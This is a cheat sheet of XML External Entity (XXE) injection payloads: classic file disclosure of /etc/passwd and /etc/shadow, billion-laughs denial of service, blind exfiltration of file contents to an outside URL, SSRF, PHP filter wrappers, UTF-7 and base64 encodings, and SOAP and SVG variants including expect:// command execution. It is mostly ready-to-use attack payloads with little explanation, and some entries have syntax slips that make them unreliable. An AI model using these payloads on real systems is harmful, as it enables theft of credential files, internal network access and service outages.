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XML External Entity (XXE) Injection Payloads

  • XXE : Classic XXE 

    <?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

  • XXE: Basic XML Example 

    <!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

  • XXE: Entity Example 

    <!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

  • XXE: File Disclosure 

    <!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

  • XXE: Denial-of-Service Example 

    <!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

  • XXE: Local File Inclusion Example 

    <?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

  • XXE: Blind Local File Inclusion Example (When first case doesn't return anything.) 

    <?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

  • XXE: Access Control Bypass (Loading Restricted Resources - PHP example) 

    <?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

  • XXE:SSRF ( Server Side Request Forgery ) Example 

    <?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

  • XXE: (Remote Attack - Through External Xml Inclusion) Exmaple 

    <?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

  • XXE: UTF-7 Exmaple 

    <?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

  • XXE: Base64 Encoded 

    <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

  • XXE: XXE inside SOAP Example 

    <soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

  • XXE: XXE inside SVG 

    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>